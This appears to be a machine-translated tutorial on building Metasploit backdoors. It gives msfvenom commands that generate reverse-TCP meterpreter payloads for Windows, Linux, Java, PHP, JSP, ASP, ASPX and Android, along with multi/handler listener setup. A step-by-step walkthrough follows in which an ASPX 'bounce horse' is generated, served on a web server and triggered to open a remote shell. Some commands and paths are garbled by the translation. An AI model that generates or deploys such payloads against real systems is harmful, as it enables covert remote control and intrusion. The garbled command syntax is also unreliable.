The backdoor in this chapter has the following
Windows--Using the module "WINDOWS/METERPRETER/REVERSE_TCP"
Command: msfvenom-p windows/meterpreter/reverse_tcp lhost=192.168.2.146 lport=44444 X >test.exe
Refer to "09-metasploit's My Remote control software"
Linux--Using the module "LINUX/X86/METERPRETER/SHELL_RVERSE_TCP"
Command: msfvenom-p linux/x86/meterpreter/reverse_tcp lhost=192.168.2.146 lport=1234 X >text
Reference article: http://xiao106347.blog.163.com/blog/static/215992078201310253172937/
Java--Using the module "JAVA/METERPRETER/REVERSE_TCP"
Command: msfvenom-p java/meterpreter/reverse_tcp lhost=192.168.2.146 lport=1234 W >text.jar
PHP--Using the module "PHP/METERPRETER/REVERSE_TCP"
Command: msfvenom-p php/meterpreter/reverse_tcp lhost=192.168.2.146 lport=1234-f Raw >text.php
Reference article: http://www.111cn.net/phper/phpanqn/101228.htm
JSP--Using the module "JAVA/JSP_SHELL_REVERSE_TCP"
Command: msfvenom-p java/jsp_shell_reverse_tcp lhost=192.168.2.146 lport=1234 R >text.jsp
Reference article: http://netsecurity.51cto.com/art/201406/442648.htm
ASP--Using the module "WINDOWS/METERPRETER/REVERSE_TCP"
Command: msfvenom-p windows/meterpreter/reverse_tcp lhost=192.168.2.146 lport=1234-f asp > shell.asp
Reference article: http://www.ithao123.cn/content-10813776.html
ASPX--Using the module "WINDOWS/METERPRETER/REVERSE_TCP"
Command: msfvenom-a x86--platform win-p windows/meterpreter/reverse_tcp lhost= 192.168.1.109 lport=7788-f aspx x>/home/n Iexinming/back.aspx
Reference article: http://www.ithao123.cn/content-10813776.html
Android--use module "ANDROID/METERPRETER/REVERSE_TCP"
Command: msfvenom-p android/meterpreter/reverse_tcp lhost=192.168.2.146 lport=1234 R >text.apk
Refer to "13-metasploit's infiltration of the Android combat"
Access to bounce connections:
Use Exploit/multi/handler
Set PAYLOAD <payload name>
Set Lhost <lhost value>
Set Lport <lport value>
Set Exitonsession false
Exploit-j-Z
------------------------------------------------------------------------------------------------
Metasploit-web penetration
Reference: http://www.ithao123.cn/content-10813776.html
First, a rebound horse is generated using Metasploit, which is the payload that generates the bounce:
Successfully generated bounce-type payload:
(1)
Generate the EXE under win
Msfvenom-a x86--platform win-p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=5566-f exe x>/home/niexin Ming/back.exe
(2)
Generate the ASPX under win
Msfvenom-a x86--platform win-p windows/meterpreter/reverse_tcp lhost= 192.168.1.109 lport=7788-f aspx x>/HOME/NIEX Inming/back.aspx
Other ways to generate payload see: http://netsec.ws/?p=331
(3)
I generate an ASPX bounce horse
Then start Msfconsole
(4)
Local monitoring, post-bounce control: Use Exploit/multi/handler
(5)
The local listener determines which payload to use:
Set Payload windows/meterpreter/reverse_tcp
(6)
To set the local listening port:
Set Lport 7788
(7)
To set the local listening address:
Set Lhost 0.0.0.0
(8)
Run:
Run
(9)
To access the generated bounce horse:
Http://xxx.xxx.xx.xxx:/back.aspx
Get Meterpreter's shell
Multiple backdoor generation of Metasploit